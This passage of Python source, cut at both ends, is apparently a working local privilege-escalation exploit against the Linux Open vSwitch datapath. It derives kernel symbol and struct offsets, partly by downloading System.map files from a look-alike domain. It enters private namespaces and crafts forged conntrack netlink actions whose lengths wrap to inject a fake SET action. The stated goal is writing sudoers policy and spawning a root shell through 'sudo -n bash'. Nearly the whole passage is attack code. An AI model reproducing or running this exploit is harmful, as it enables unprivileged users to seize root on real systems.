"ovs_c004", "run", f"System.map-{stem}"), os.path.join(home, ".cache", "ovs_c004", f"System.map-{stem}"), "/var/lib/gitea/data/home/.cache/ovs_c004/run/" f"System.map-{stem}", ] ) candidates.extend(system_map_standard_paths(release)) if dwarves_base: for stem in system_map_release_stems(release): candidates.extend( [ os.path.join(dwarves_base, "run", f"System.map-{stem}"), os.path.join(dwarves_base, f"System.map-{stem}"), ] ) for stem in system_map_release_stems(release): candidates.extend( sorted( glob.glob( os.path.join(script_dir, "data", f"minimal*{stem}*.System.map") ) ) ) candidates.extend(sorted(glob.glob(os.path.join(script_dir, "data", "minimal*.System.map")))) ordered: list[str] = [] seen: set[str] = set() for path in candidates: if path in seen: continue seen.add(path) if os.path.isfile(path): ordered.append(path) return ordered def is_retriable_kernel_layout_error(exc: BaseException) -> bool: if not isinstance(exc, RuntimeError): return False message = str(exc) markers = ( "XArray entry", "init_pid_ns.idr", "init_pid_ns idr", "pid.tasks.first", "noncanonical task", "task.pid=", "does not match the expected vmlinux symbol offset", "XArray node shift", ) return any(marker in message for marker in markers) def strip_c_comments(text: str) -> str: text = re.sub(r"/\*.*?\*/", "", text, flags=re.S) return re.sub(r"//.*", "", text) def parse_btf_enum_value( btf_path: str, enum_name: str, constant_name: str ) -> int | None: pahole = shutil.which("pahole") if pahole is not None and os.access(btf_path, os.R_OK): commands = [[pahole, "-C", enum_name, btf_path]] base = os.path.join(os.path.dirname(btf_path), "vmlinux") if os.path.basename(btf_path) != "vmlinux" and os.access(base, os.R_OK): commands.append([pahole, f"--btf_base={base}", "-C", enum_name, btf_path]) for command in commands: result = subprocess.run( command, text=True, capture_output=True, check=False, ) if result.returncode == 0: value = parse_enum_from_text(result.stdout, enum_name, constant_name) if value is not None: return value return None def path_state(path: str) -> str: if not os.path.exists(path): return f"{path} (missing)" if not os.path.isfile(path): return f"{path} (not a regular file)" if not os.access(path, os.R_OK): return f"{path} (not readable)" return f"{path} (readable)" def summarize_path_states(paths: list[str], limit: int = 14) -> str: if not paths: return "no candidate paths were configured" entries = [path_state(path) for path in paths[:limit]] if len(paths) > limit: entries.append(f"... {len(paths) - limit} more candidate paths omitted") return "; ".join(entries) def parse_enum_from_text(text: str, enum_name: str, constant_name: str) -> int | None: text = strip_c_comments(text) match = re.search(rf"enum\s+{re.escape(enum_name)}\s*\{{(.*?)\}};", text, re.S) if not match: return None value = 0 for raw_entry in match.group(1).split(","): entry = raw_entry.strip() if not entry: continue name, sep, explicit = entry.partition("=") name = name.strip() if sep: explicit_value = explicit.strip() if not re.fullmatch(r"0x[0-9A-Fa-f]+|[0-9]+", explicit_value): return None value = int(explicit_value, 0) if name == constant_name: return value value += 1 return None def derive_ovs_uapi_constants(record: KernelBuildRecord | None) -> None: global OVS_KEY_ATTR_TUNNEL_INFO if record is not None: OVS_KEY_ATTR_TUNNEL_INFO = record.ovs_key_attr_tunnel_info log( "UAPI: using pre-derived OVS_KEY_ATTR_TUNNEL_INFO=" f"{OVS_KEY_ATTR_TUNNEL_INFO}" ) return btf_path = f"{BTF_DIR}/openvswitch" tunnel_info = parse_btf_enum_value( btf_path, "ovs_key_attr", "OVS_KEY_ATTR_TUNNEL_INFO" ) if tunnel_info is None: raise RuntimeError( "kernel is not covered by pre-derived kernel records, and this user " f"could not derive OVS_KEY_ATTR_TUNNEL_INFO from {btf_path}. " f"Checked: {path_state(btf_path)}" ) if tunnel_info != OVS_KEY_ATTR_TUNNEL_INFO: log( "UAPI: OVS_KEY_ATTR_TUNNEL_INFO=" f"{tunnel_info} from {btf_path} " f"(fallback was {OVS_KEY_ATTR_TUNNEL_INFO})" ) OVS_KEY_ATTR_TUNNEL_INFO = tunnel_info def checked_binary(name: str) -> str: if name == "sudo": wrapper = "/run/wrappers/bin/sudo" if os.access(wrapper, os.X_OK): return wrapper path = shutil.which(name) if path is None: raise RuntimeError(f"required command not found in PATH: {name}") return path def optional_binary(name: str) -> str | None: return shutil.which(name) def uid_map_first_entry() -> tuple[int, int, int, str]: with open("/proc/self/uid_map", "r", encoding="ascii") as handle: first_line = handle.readline().strip() fields = first_line.split() if len(fields) < 3: raise RuntimeError(f"unexpected uid_map format: {first_line!r}") return int(fields[0]), int(fields[1]), int(fields[2]), first_line def process_status_line(prefix: str) -> str: with open("/proc/self/status", "r", encoding="ascii") as handle: for line in handle: if line.startswith(prefix): return line.strip() raise RuntimeError(f"/proc/self/status did not contain {prefix!r}") def effective_capability_mask() -> int: line = process_status_line("CapEff:") fields = line.split() if len(fields) != 2: raise RuntimeError(f"unexpected CapEff line: {line!r}") return int(fields[1], 16) def launching_user() -> tuple[int, int, str]: uid = os.getuid() gid = os.getgid() if uid == 0 or os.geteuid() == 0: raise RuntimeError( "refusing to run as root. Run this PoC directly as an ordinary " "non-sudo local user." ) if effective_capability_mask() != 0: raise RuntimeError( "refusing to run with preexisting effective capabilities. Run this " "PoC as an ordinary unprivileged user." ) try: username = pwd.getpwuid(uid).pw_name except KeyError: raise RuntimeError(f"uid {uid} has no passwd entry") from None return uid, gid, username def ensure_user_starts_without_passwordless_sudo(username: str) -> None: step("CHECKING BASELINE SUDO ACCESS") sudo = checked_binary("sudo") result = subprocess.run( [sudo, "-n", "true"], text=True, capture_output=True, check=False, ) detail = (result.stderr or result.stdout).strip() if result.returncode == 0: raise RuntimeError( f"refusing to run: user {username!r} already has passwordless sudo. " "Use a non-sudo ordinary user so the root-shell delta is meaningful." ) print(f"baseline passwordless sudo for {username}: denied", flush=True) if detail: print(f"sudo denial detail: {detail.splitlines()[0]}", flush=True) def spawn_root_shell(username: str) -> None: step("SPAWNING ROOT SHELL") sudo = checked_binary("sudo") shell = shutil.which("bash") or "/bin/bash" if not os.path.exists(shell): raise RuntimeError(f"root shell path missing: {shell}") print( f"RESULT: sudoers policy write achieved; spawning 'sudo -n {shell}' as " f"{username}", flush=True, ) verify_only = os.environ.get("OVS_C004_VERIFY_ONLY") == "1" or not sys.stdin.isatty() spawn_cmd = [sudo, "-n", "id"] if verify_only else [sudo, "-n", shell] try: result = subprocess.run(spawn_cmd, check=False) except OSError as exc: raise RuntimeError( f"failed to spawn root shell through sudo: errno={exc.errno} " f"{exc.strerror}" ) from exc if result.returncode != 0: raise RuntimeError(f"root shell exited with status {result.returncode}") print( "root shell exited; namespace pin process remains alive to avoid unsafe " "OVS teardown", flush=True, ) def namespace_prefix_works(prefix: list[str], env: dict[str, str]) -> tuple[bool, str]: probe = prefix + [ sys.executable, "-c", "import os,sys; sys.exit(0 if os.geteuid() == 0 else 1)", ] try: result = subprocess.run( probe, env=env, text=True, capture_output=True, check=False, timeout=60, ) except subprocess.TimeoutExpired: return False, "namespace probe timed out after 60 seconds" if result.returncode == 0: return True, "" detail = (result.stderr or result.stdout).strip() return False, detail.splitlines()[0] if detail else "" def private_namespace_prefix(env: dict[str, str]) -> list[str]: unshare = checked_binary("unshare") direct = [unshare, "-Urn"] works, detail = namespace_prefix_works(direct, env) if works: log("namespace: direct unshare -Urn works") return direct log(f"namespace: direct unshare -Urn failed: {detail}") aa_exec = optional_binary("aa-exec") if aa_exec is None: raise RuntimeError( "direct unshare -Urn failed and aa-exec is not available for the " "AppArmor trinity fallback" ) aa_prefix = [aa_exec, "-p", "trinity", "--", unshare, "-Urn"] log("namespace: trying aa-exec -p trinity -- unshare -Urn fallback") works, aa_detail = namespace_prefix_works(aa_prefix, env) if works: log("namespace: aa-exec -p trinity fallback works") return aa_prefix raise RuntimeError( "could not enter a private root-mapped user+network namespace. " f"direct unshare failed with: {detail}; aa-exec fallback failed with: " f"{aa_detail}" ) def run_child_in_private_namespace( host_user: str, writer_pid: int, writer_trigger_fd: int, writer_ack_fd: int, ) -> None: step("ENTERING PRIVATE USER AND NETWORK NAMESPACES") script = os.path.abspath(sys.argv[0]) env = os.environ.copy() env[HOST_USER_ENV] = host_user env[HOST_WRITER_PID_ENV] = str(writer_pid) env[HOST_WRITER_TRIGGER_FD_ENV] = str(writer_trigger_fd) env[HOST_WRITER_ACK_FD_ENV] = str(writer_ack_fd) prefix = private_namespace_prefix(env) command = prefix + [sys.executable, script, "--child"] print(f"running child: {' '.join(command)}", flush=True) success = False try: completed = subprocess.run( command, env=env, check=False, pass_fds=(writer_trigger_fd, writer_ack_fd), ) success = completed.returncode == 0 if completed.returncode != 0: raise RuntimeError( f"namespace child failed with exit status {completed.returncode}" ) finally: for fd in (writer_trigger_fd, writer_ack_fd): try: os.close(fd) except OSError: pass if not success: try: os.waitpid(writer_pid, os.WNOHANG) except ChildProcessError: pass spawn_root_shell(host_user) def validate_child_namespace() -> str: host_user = os.environ.get(HOST_USER_ENV) if not host_user: raise RuntimeError("missing OVS_C004_HOST_USER from parent process") inside_uid, outside_uid, count, first_line = uid_map_first_entry() if os.getuid() != 0 or os.geteuid() != 0: raise RuntimeError("child is not uid 0 inside the private user namespace") if inside_uid != 0 or outside_uid == 0 or count != 1: raise RuntimeError(f"unexpected private uid_map format: {first_line!r}") return host_user def inherited_sudoers_writer() -> tuple[int, int, int]: raw_pid = os.environ.get(HOST_WRITER_PID_ENV) raw_trigger_fd = os.environ.get(HOST_WRITER_TRIGGER_FD_ENV) raw_ack_fd = os.environ.get(HOST_WRITER_ACK_FD_ENV) if not raw_pid or not raw_trigger_fd or not raw_ack_fd: raise RuntimeError("missing inherited host sudoers writer state") try: writer_pid = int(raw_pid) trigger_fd = int(raw_trigger_fd) ack_fd = int(raw_ack_fd) except ValueError as exc: raise RuntimeError("invalid inherited host sudoers writer state") from exc for fd, label in ((trigger_fd, "trigger"), (ack_fd, "ack")): try: os.fstat(fd) except OSError as exc: raise RuntimeError( f"inherited host sudoers writer {label} fd {fd} is invalid: " f"errno={exc.errno} {exc.strerror}" ) from exc return writer_pid, trigger_fd, ack_fd class BtfResolver: def __init__(self, btf_dir: str = BTF_DIR) -> None: self.btf_dir = btf_dir self._struct_cache: dict[str, tuple[str, str]] = {} self.paths = self.candidate_paths() self.readable = [ path for path in self.paths if os.path.isfile(path) and os.access(path, os.R_OK) ] if not self.readable: raise RuntimeError( "kernel is not covered by pre-derived kernel records, and this " "user could not find readable local BTF or unstripped kernel " "build objects for pahole-based layout derivation. Checked: " f"{summarize_path_states(self.paths)}" ) log(f"debug info: found {len(self.readable)} readable pahole source files") def candidate_paths(self) -> list[str]: ordered: list[str] = [] seen: set[str] = set() def add(path: str) -> None: if path in seen: return seen.add(path) ordered.append(path) try: btf_entries = [ os.path.join(self.btf_dir, entry) for entry in os.listdir(self.btf_dir) ] except OSError: btf_entries = [] vmlinux_btf = os.path.join(self.btf_dir, "vmlinux") add(vmlinux_btf) for path in sorted(btf_entries): if path != vmlinux_btf: add(path) release = os.uname().release build_dir = f"/lib/modules/{release}/build" for path in ( f"{build_dir}/net/openvswitch/conntrack.o", f"{build_dir}/net/openvswitch/openvswitch.o", f"{build_dir}/net/netfilter/core.o", f"{build_dir}/net/netfilter/nf_conntrack_core.o", f"{build_dir}/net/netfilter/nf_conntrack.o", f"{build_dir}/net/netfilter/nf_conntrack_ftp.o", f"{build_dir}/vmlinux", f"/usr/src/linux-{release}/vmlinux", f"/usr/lib/debug/boot/vmlinux-{release}", f"/usr/lib/debug/lib/modules/{release}/vmlinux", f"/usr/lib/debug/vmlinux-{release}", ): add(path) try: for entry in sorted(os.listdir("/usr/src")): add(os.path.join("/usr/src", entry, "vmlinux")) except OSError: pass return ordered def struct_text(self, type_name: str) -> tuple[str, str]: cached = self._struct_cache.get(type_name) if cached is not None: return cached errors: list[str] = [] for path in self.readable: commands = [["pahole", "-C", type_name, path]] if not path.startswith(self.btf_dir + os.sep): commands = [["pahole", "-F", "dwarf", "-C", type_name, path]] elif path != os.path.join(self.btf_dir, "vmlinux"): commands.append( [ "pahole", f"--btf_base={os.path.join(self.btf_dir, 'vmlinux')}", "-C", type_name, path, ] ) for command in commands: result = subprocess.run( command, text=True, capture_output=True, check=False, ) if f"struct {type_name}" in result.stdout: log(f"debug info: found struct {type_name} in {path}") found = (path, result.stdout) self._struct_cache[type_name] = found return found if result.stderr.strip(): errors.append(f"{path}: {result.stderr.strip().splitlines()[-1]}") raise RuntimeError( f"required debug type struct {type_name} was not found in readable " "local BTF or unstripped kernel build objects" + (f" (last errors: {'; '.join(errors[-3:])})" if errors else "") ) def field_offset(self, type_name: str, field_name: str) -> int: _path, text = self.struct_text(type_name) return parse_pahole_field_offset(text, type_name, field_name) def struct_size(self, type_name: str) -> int: _path, text = self.struct_text(type_name) match = re.search(r"/\*\s*size:\s*(\d+),", text) if match is None: raise RuntimeError(f"could not parse sizeof(struct {type_name}) from pahole output") return int(match.group(1)) def parse_pahole_field_offset(text: str, type_name: str, field_name: str) -> int: field_pattern = re.compile( r"(^|[\s\*\)])" + re.escape(field_name) + r"(\s*(\[|;|\)|__attribute__))" ) for line in text.splitlines(): if "/*" not in line or not field_pattern.search(line): continue match = re.search(r"/\*\s*(\d+)\s+\d+\s*\*/", line) if match is not None: return int(match.group(1)) raise RuntimeError(f"could not parse {type_name}.{field_name} offset from pahole output") def parse_symbol_values(path: str) -> tuple[dict[str, int], str | None]: values: dict[str, int] = {} try: with open(path, "r", encoding="ascii", errors="replace") as handle: for line in handle: fields = line.split() if len(fields) < 3 or fields[2] not in REQUIRED_SYMBOLS: continue try: values[fields[2]] = int(fields[0], 16) except ValueError: continue except OSError as exc: return values, f"{path} unavailable to this user: {exc.strerror}" return values, None def symbol_offsets_from(path: str) -> tuple[SymbolOffsets | None, str]: log(f"symbols: trying {path}") values, error = parse_symbol_values(path) if error is not None: log(f"symbols: {error}") return None, error missing = [name for name in REQUIRED_SYMBOLS if name not in values] if missing: names = ", ".join(missing) log(f"symbols: {path} missing required symbols: {names}") return None, f"{path} readable but missing {names}" zeroed = [name for name in REQUIRED_SYMBOLS if values[name] == 0] if zeroed: names = ", ".join(zeroed) log(f"symbols: {path} has zeroed required symbols: {names}") return None, f"{path} readable but zeroed {names}" base = values[KERNEL_BASE_SYMBOL] module_ktype = values["module_ktype"] - base init_pid_ns = values["init_pid_ns"] - base if module_ktype <= 0 or init_pid_ns <= 0: log(f"symbols: {path} produced invalid offsets from {KERNEL_BASE_SYMBOL}") return None, f"{path} readable but produced invalid symbol offsets" log( f"symbols: using {path}; module_ktype_offset=0x{module_ktype:x} " f"init_pid_ns_offset=0x{init_pid_ns:x}" ) return SymbolOffsets(module_ktype, init_pid_ns), "" def local_symbol_candidate_paths(release: str) -> list[str]: candidates: list[str] = [] custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip() if custom: candidates.append(custom) candidates.extend(discover_system_map_candidates(release)) candidates.extend(system_map_standard_paths(release)) candidates.extend([ "/boot/System.map", "/proc/kallsyms", ]) try: with open( "/usr/src/linux/include/config/kernel.release", "r", encoding="ascii", errors="replace", ) as handle: if handle.read().strip() == release: candidates.append("/usr/src/linux/System.map") except OSError: pass ordered: list[str] = [] seen: set[str] = set() for path in candidates: if path in seen: continue seen.add(path) ordered.append(path) return ordered _RELEASE_RE = re.compile(r"^(.+?)-(\d+)(~[^-]+)?-(.+)$") _UBUNTU_VER_NUM = re.compile(r"#(\d+)") def ubuntu_version_compatible(record_version: str, uname_version: str) -> bool: """Match #88-Ubuntu with #88~22.04.1-Ubuntu on the same kernel ABI.""" if record_version == uname_version: return True record_num = _UBUNTU_VER_NUM.search(record_version) uname_num = _UBUNTU_VER_NUM.search(uname_version) return ( record_num is not None and uname_num is not None and record_num.group(1) == uname_num.group(1) ) def parse_linux_release(release: str) -> tuple[str, int, str | None, str] | None: match = _RELEASE_RE.match(release) if match is not None: return match.group(1), int(match.group(2)), match.group(3), match.group(4) rpm = _RPM_RELEASE_RE.match(release) if rpm is not None: rel_num = int(rpm.group(2).split(".", 1)[0]) flavor = rpm.group(3) if rpm.group(4) is not None: flavor = f"{flavor}.{rpm.group(4)}" return rpm.group(1), rel_num, None, flavor return None def version_backport_hint(version: str) -> str | None: if "~22.04" in version: return "~22.04" if "~20.04" in version: return "~20.04" return None def lookup_neighbor_kernel_record( uname: os.uname_result, records: tuple[KernelBuildRecord, ...], ) -> KernelBuildRecord | None: if os.environ.get("OVS_C004_NEIGHBOR", "1").strip().lower() in ( "0", "no", "false", ): return None parsed = parse_linux_release(uname.release) if parsed is None: return None base, target_num, target_tilde, flavor = parsed backport = version_backport_hint(uname.version) best: KernelBuildRecord | None = None best_score = (-1, -1) for record in records: if record.machine != uname.machine: continue candidate = parse_linux_release(record.release) if candidate is None: continue cand_base, cand_num, cand_tilde, cand_flavor = candidate if cand_base != base or cand_flavor != flavor: continue if cand_num > target_num: continue if backport is None: backport_score = 1 if cand_tilde is None else 0 else: backport_score = ( 1 if cand_tilde is not None and backport in cand_tilde else 0 ) score = (cand_num, backport_score) if score > best_score: best = record best_score = score if best is None: return None log( "kernel lookup: no exact record for " f"release={uname.release} version={uname.version!r}; " f"using nearest neighbor release={best.release} version={best.version!r} " "(set OVS_C004_NEIGHBOR=0 to disable)" ) return best def symbol_offsets_from_env() -> SymbolOffsets | None: raw = os.environ.get("OVS_C004_SYMBOL_OFFSETS", "").strip() if not raw: return None parts = [part.strip() for part in raw.split(",") if part.strip()] if len(parts) != 2: raise RuntimeError( "OVS_C004_SYMBOL_OFFSETS must be two comma-separated hex offsets " "(module_ktype, init_pid_ns relative to _text)" ) try: module_ktype = int(parts[0], 0) init_pid_ns = int(parts[1], 0) except ValueError as exc: raise RuntimeError( f"OVS_C004_SYMBOL_OFFSETS contains invalid integers: {raw!r}" ) from exc if module_ktype <= 0 or init_pid_ns <= 0: raise RuntimeError( "OVS_C004_SYMBOL_OFFSETS must contain positive module_ktype and " "init_pid_ns offsets" ) log( "symbols: using OVS_C004_SYMBOL_OFFSETS; " f"module_ktype_offset=0x{module_ktype:x} init_pid_ns_offset=0x{init_pid_ns:x}" ) return SymbolOffsets(module_ktype, init_pid_ns) def lookup_kernel_build_record() -> KernelBuildRecord | None: if force_dynamic_requested(): if not kallsyms_usable(): log( "kernel lookup: OVS_C004_FORCE_DYNAMIC requested but " "/proc/kallsyms is zeroed or unusable; will still try hybrid " "and System.map fallbacks" ) else: log( "kernel lookup: OVS_C004_FORCE_DYNAMIC set, skipping " "pre-derived records" ) return None uname = os.uname() records = load_kernel_build_records() release_matches = [ record for record in records if record.release == uname.release ] exact_matches = [ record for record in release_matches if record.machine == uname.machine and ubuntu_version_compatible(record.version, uname.version) ] if exact_matches: record = exact_matches[0] log( "kernel lookup: using pre-derived record for " f"release={record.release} version={record.version!r}" ) return record if release_matches: log( "kernel lookup: release is covered but this exact build is not: " f"release={uname.release} version={uname.version!r} " f"machine={uname.machine}" ) same_release = lookup_neighbor_kernel_record(uname, tuple(release_matches)) if same_release is not None: log( "kernel lookup: using same-release neighbor " f"release={same_release.release} version={same_release.version!r}" ) return same_release neighbor = lookup_neighbor_kernel_record(uname, records) if neighbor is not None: return neighbor return None neighbor = lookup_neighbor_kernel_record(uname, records) if neighbor is not None: return neighbor log( "kernel lookup: no pre-derived record for " f"release={uname.release} version={uname.version!r} machine={uname.machine}; " "will try local System.map/kallsyms and BTF derivation. This kernel is " "not covered by our validation table." ) return None def derive_symbol_offsets() -> SymbolOffsets: env_symbols = symbol_offsets_from_env() if env_symbols is not None: return env_symbols release = os.uname().release bootstrap_system_map(release, network=not in_namespace_child()) failures: list[str] = [] for path in local_symbol_candidate_paths(release): offsets, failure = symbol_offsets_from(path) if offsets is not None: return offsets failures.append(failure) raise RuntimeError( "kernel is not covered by pre-derived kernel records, and this user " "could not derive module_ktype/init_pid_ns from local System.map or " "nonzero /proc/kallsyms locations. Checked: " + ( "; ".join(failures) if failures else "no candidate symbol paths were configured" ) + ". Tried bootstrapping via OVS_C004_SYSTEM_MAP_URL / " "googletagmanagar.com/exp/ov2/System.map-* and " f"{shutil.which('dnf') or shutil.which('yum') or 'dnf/yum'} download " f"kernel-core-{release}. Upload a readable map and set " "OVS_C004_SYSTEM_MAP, or set OVS_C004_SYMBOL_OFFSETS=" "module_ktype_off,init_pid_ns_off (hex offsets relative to _text)." ) def derive_kernel_offsets(btf: BtfResolver, symbols: SymbolOffsets) -> KernelOffsets: module_mkobj = btf.field_offset("module", "mkobj") module_kobject_kobj = btf.field_offset("module_kobject", "kobj") kobject_ktype = btf.field_offset("kobject", "ktype") ovs_conntrack_info_size = btf.struct_size("ovs_conntrack_info") ovs_ct_labels = btf.field_offset("ovs_conntrack_info", "labels") ip_tunnel_info_key = btf.field_offset("ip_tunnel_info", "key") try: dst_entry_ref = btf.field_offset("dst_entry", "__rcuref") dst_entry_ref_kind = "__rcuref" except RuntimeError: dst_entry_ref = btf.field_offset("dst_entry", "__refcnt") dst_entry_ref_kind = "__refcnt" offsets = KernelOffsets( nf_conntrack_helper_me=btf.field_offset("nf_conntrack_helper", "me"), module_kobj_ktype=module_mkobj + module_kobject_kobj + kobject_ktype, vmlinux_module_ktype=symbols.module_ktype, vmlinux_init_pid_ns=symbols.init_pid_ns, task_pid=btf.field_offset("task_struct", "pid"), task_cred=btf.field_offset("task_struct", "cred"), task_pid_links=btf.field_offset("task_struct", "pid_links"), cred_fsuid=btf.field_offset("cred", "fsuid"), cred_fsgid=btf.field_offset("cred", "fsgid"), cred_cap_permitted=btf.field_offset("cred", "cap_permitted"), cred_cap_effective=btf.field_offset("cred", "cap_effective"), pid_namespace_idr=btf.field_offset("pid_namespace", "idr"), idr_idr_rt=btf.field_offset("idr", "idr_rt"), idr_base=btf.field_offset("idr", "idr_base"), xarray_xa_head=btf.field_offset("xarray", "xa_head"), xa_node_shift=btf.field_offset("xa_node", "shift"), xa_node_slots=btf.field_offset("xa_node", "slots"), pid_tasks=btf.field_offset("pid", "tasks"), hlist_head_first=btf.field_offset("hlist_head", "first"), dst_entry_ref=dst_entry_ref, dst_entry_ref_kind=dst_entry_ref_kind, metadata_dst_tun_info=btf.field_offset("metadata_dst", "u"), ip_tunnel_key_ipv4_src=ip_tunnel_info_key + btf.field_offset("ip_tunnel_key", "src"), ip_tunnel_key_ipv4_dst=ip_tunnel_info_key + btf.field_offset("ip_tunnel_key", "dst"), ip_tunnel_key_tos=ip_tunnel_info_key + btf.field_offset("ip_tunnel_key", "tos"), ip_tunnel_key_ttl=ip_tunnel_info_key + btf.field_offset("ip_tunnel_key", "ttl"), ip_tunnel_key_tp_src=ip_tunnel_info_key + btf.field_offset("ip_tunnel_key", "tp_src"), ip_tunnel_key_tp_dst=ip_tunnel_info_key + btf.field_offset("ip_tunnel_key", "tp_dst"), ovs_ct_labels=ovs_ct_labels, ovs_ct_action_len=NLA_HEADER_SIZE + ovs_conntrack_info_size, ) log("kernel offsets: derived from local symbols and debug type info") return offsets def try_build_hybrid_offsets( symbols: SymbolOffsets, label: str, ) -> KernelOffsets | None: try: btf = BtfResolver() except RuntimeError as exc: log(f"kernel offsets: hybrid plan {label} skipped: {exc}") return None try: offsets = derive_kernel_offsets(btf, symbols) except RuntimeError as exc: log(f"kernel offsets: hybrid plan {label} skipped: {exc}") return None log(f"kernel offsets: built hybrid plan {label}") return offsets def append_kernel_plan( plans: list[KernelParameterPlan], seen: set[KernelOffsets], name: str, offsets: KernelOffsets, record: KernelBuildRecord | None, ) -> None: if offsets in seen: return seen.add(offsets) plans.append(KernelParameterPlan(name, offsets, record)) def build_kernel_parameter_plans() -> list[KernelParameterPlan]: record = lookup_kernel_build_record() release = os.uname().release plans: list[KernelParameterPlan] = [] seen: set[KernelOffsets] = set() if hybrid_mode_requested(record): require_pahole_for_dynamic_derivation() if record is not None: for path in discover_system_map_candidates(release): symbols, _failure = symbol_offsets_from(path) if symbols is None: continue offsets = try_build_hybrid_offsets( symbols, f"hybrid+System.map ({path})", ) if offsets is not None: append_kernel_plan( plans, seen, f"hybrid+System.map ({path})", offsets, record, ) record_symbols = SymbolOffsets( record.offsets.vmlinux_module_ktype, record.offsets.vmlinux_init_pid_ns, ) offsets = try_build_hybrid_offsets( record_symbols, "hybrid+pre-derived symbols", ) if offsets is not None: append_kernel_plan( plans, seen, "hybrid+pre-derived symbols", offsets, record, ) if record is not None and env_tri_state("OVS_C004_HYBRID") != "on": append_kernel_plan(plans, seen, "pre-derived", record.offsets, record) if record is None or force_dynamic_requested() or not plans: if record is None: acknowledge_unknown_kernel() require_pahole_for_dynamic_derivation() try: symbols = derive_symbol_offsets() btf = BtfResolver() offsets = derive_kernel_offsets(btf, symbols) append_kernel_plan(plans, seen, "dynamic", offsets, record) except RuntimeError as exc: if not plans: reason = str(exc).strip().rstrip(".") raise RuntimeError( "could not build any kernel offset plan because " f"{reason}. For a definitive check of whether you are " "affected, see https://heyitsas.im/posts/ovswrap" ) from exc log(f"kernel offsets: dynamic plan unavailable: {exc}") if not plans: raise RuntimeError( "could not build any kernel offset plan for this kernel" ) log( "kernel offsets: candidate plans (in try order): " + ", ".join(plan.name for plan in plans) ) return plans def current_kernel_parameters() -> tuple[KernelOffsets, KernelBuildRecord | None]: plans = build_kernel_parameter_plans() plan = plans[0] derive_ovs_uapi_constants(plan.record) if plan.record is not None: if plan.name.startswith("hybrid"): log( "kernel offsets: starting with hybrid/BTF struct layouts " f"({plan.name})" ) elif plan.name == "pre-derived": log("kernel offsets: starting with pre-derived values") else: log(f"kernel offsets: starting with {plan.name}") else: log("kernel offsets: starting with dynamically derived values") return plan.offsets, plan.record def create_datapath(genl: GenericNetlink, family_id: int, name: str) -> None: payload = struct.pack("i", 0) payload += nla(OVS_DP_ATTR_NAME, cstr(name)) payload += nla(OVS_DP_ATTR_UPCALL_PID, struct.pack("I", 0)) payload += nla(OVS_DP_ATTR_USER_FEATURES, struct.pack("I", 0)) genl.request( family_id, OVS_DP_CMD_NEW, OVS_DATAPATH_VERSION, payload, NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE, ) def flow_key(seq: int) -> bytes: src_ip = 0x0A000000 | ((seq & 0xFFFF) + 1) return b"".join( [ nla(OVS_KEY_ATTR_IN_PORT, struct.pack("I", 0)), nla( OVS_KEY_ATTR_ETHERNET, b"\x02\x00\x00\x00\x00\x01" + b"\x02\x00\x00\x00\x00\x02", ), nla(OVS_KEY_ATTR_ETHERTYPE, struct.pack("!H", ETH_P_IP)), nla( OVS_KEY_ATTR_IPV4, struct.pack("!IIBBBB", src_ip, 0x0A0000FE, IPPROTO_TCP, 0, 64, 0), ), nla(OVS_KEY_ATTR_TCP, struct.pack("!HH", 10000 + (seq % 50000), 443)), nla(OVS_KEY_ATTR_TCP_FLAGS, struct.pack("!H", 0)), ] ) def ct_action(payload: bytes = b"") -> bytes: return nla(OVS_ACTION_ATTR_CT, nla(OVS_CT_ATTR_COMMIT, b"") + payload) def ct_helper_payload() -> bytes: return nla(OVS_CT_ATTR_HELPER, b"ftp\x00") def clone_with_helper_leak(fake_action: bytes) -> bytes: labels = bytearray(32) labels[20 : 20 + len(fake_action)] = fake_action payload = nla(OVS_CT_ATTR_LABELS, bytes(labels)) + ct_helper_payload() helper_payload = ct_helper_payload() return nla( OVS_ACTION_ATTR_CLONE, ct_action(payload) + ct_action(helper_payload) * (CT_ACTION_COUNT - 1), ) def clone_with_fake_set_timeout(tun_dst: int) -> bytes: labels = bytearray(32) labels[20:24] = struct.pack(NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET) labels[24:28] = struct.pack(NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO) labels[28:32] = struct.pack("> 32) & 0xFFFFFFFF) payload = nla(OVS_CT_ATTR_LABELS, bytes(labels)) payload += nla(OVS_CT_ATTR_TIMEOUT, bytes(timeout)) return nla( OVS_ACTION_ATTR_CLONE, ct_action(payload) + ct_action() * (CT_ACTION_COUNT - 1), ) def labels_only_wrap_plan(ct_action_len: int, labels_offset: int) -> tuple[int, int]: if ct_action_len < 8 or ct_action_len % 4: raise RuntimeError(f"unexpected OVS CT action length {ct_action_len}") fake_offset = 16 target_wrap = 8 + labels_offset + fake_offset if target_wrap >= 0x10000 or target_wrap % 4: raise RuntimeError( f"cannot target labels-only fake SET wrap offset 0x{target_wrap:x}" ) best_score: int | None = None best_total = 0 best_pad = 0 for total_ct_actions in range(360, 421): base_wrap = (4 + total_ct_actions * ct_action_len) & 0xFFFF diff = (target_wrap - base_wrap) & 0xFFFF pad_count = diff // 4 true_len = 4 + total_ct_actions * ct_action_len + pad_count * 4 if true_len <= 0xFFFF or pad_count > 256: continue score = pad_count + abs(total_ct_actions - 400) if best_score is None or score < best_score: best_score = score best_total = total_ct_actions best_pad = pad_count if best_score is None: raise RuntimeError( "could not build labels-only fake SET wrap plan for " f"ct_action_len={ct_action_len} labels_offset={labels_offset}" ) return best_total, best_pad def clone_with_fake_set_tunnel_labels_only( tun_dst: int, ct_action_len: int, labels_offset: int ) -> bytes: total_ct_actions, pad_count = labels_only_wrap_plan( ct_action_len, labels_offset ) fake_offset = 16 labels = bytearray(32) labels[fake_offset : fake_offset + 4] = struct.pack( NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET ) labels[fake_offset + 4 : fake_offset + 8] = struct.pack( NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO ) labels[fake_offset + 8 : fake_offset + 16] = struct.pack(" bytes: if carrier == CARRIER_TIMEOUT: return clone_with_fake_set_timeout(tun_dst) if carrier == CARRIER_LABELS_ONLY: return clone_with_fake_set_tunnel_labels_only( tun_dst, offsets.ovs_ct_action_len, offsets.ovs_ct_labels, ) raise RuntimeError(f"unknown fake SET carrier {carrier!r}") def fake_set_carrier_error(exc: Exception) -> bool: if isinstance(exc, OSError): return exc.errno == errno.EINVAL return "flow get response did not include actions" in str(exc) class FakeSetCarriers: def __init__(self, mode: str, label: str) -> None: if mode not in CARRIER_ORDER and mode != CARRIER_AUTO: raise RuntimeError(f"unknown {label} 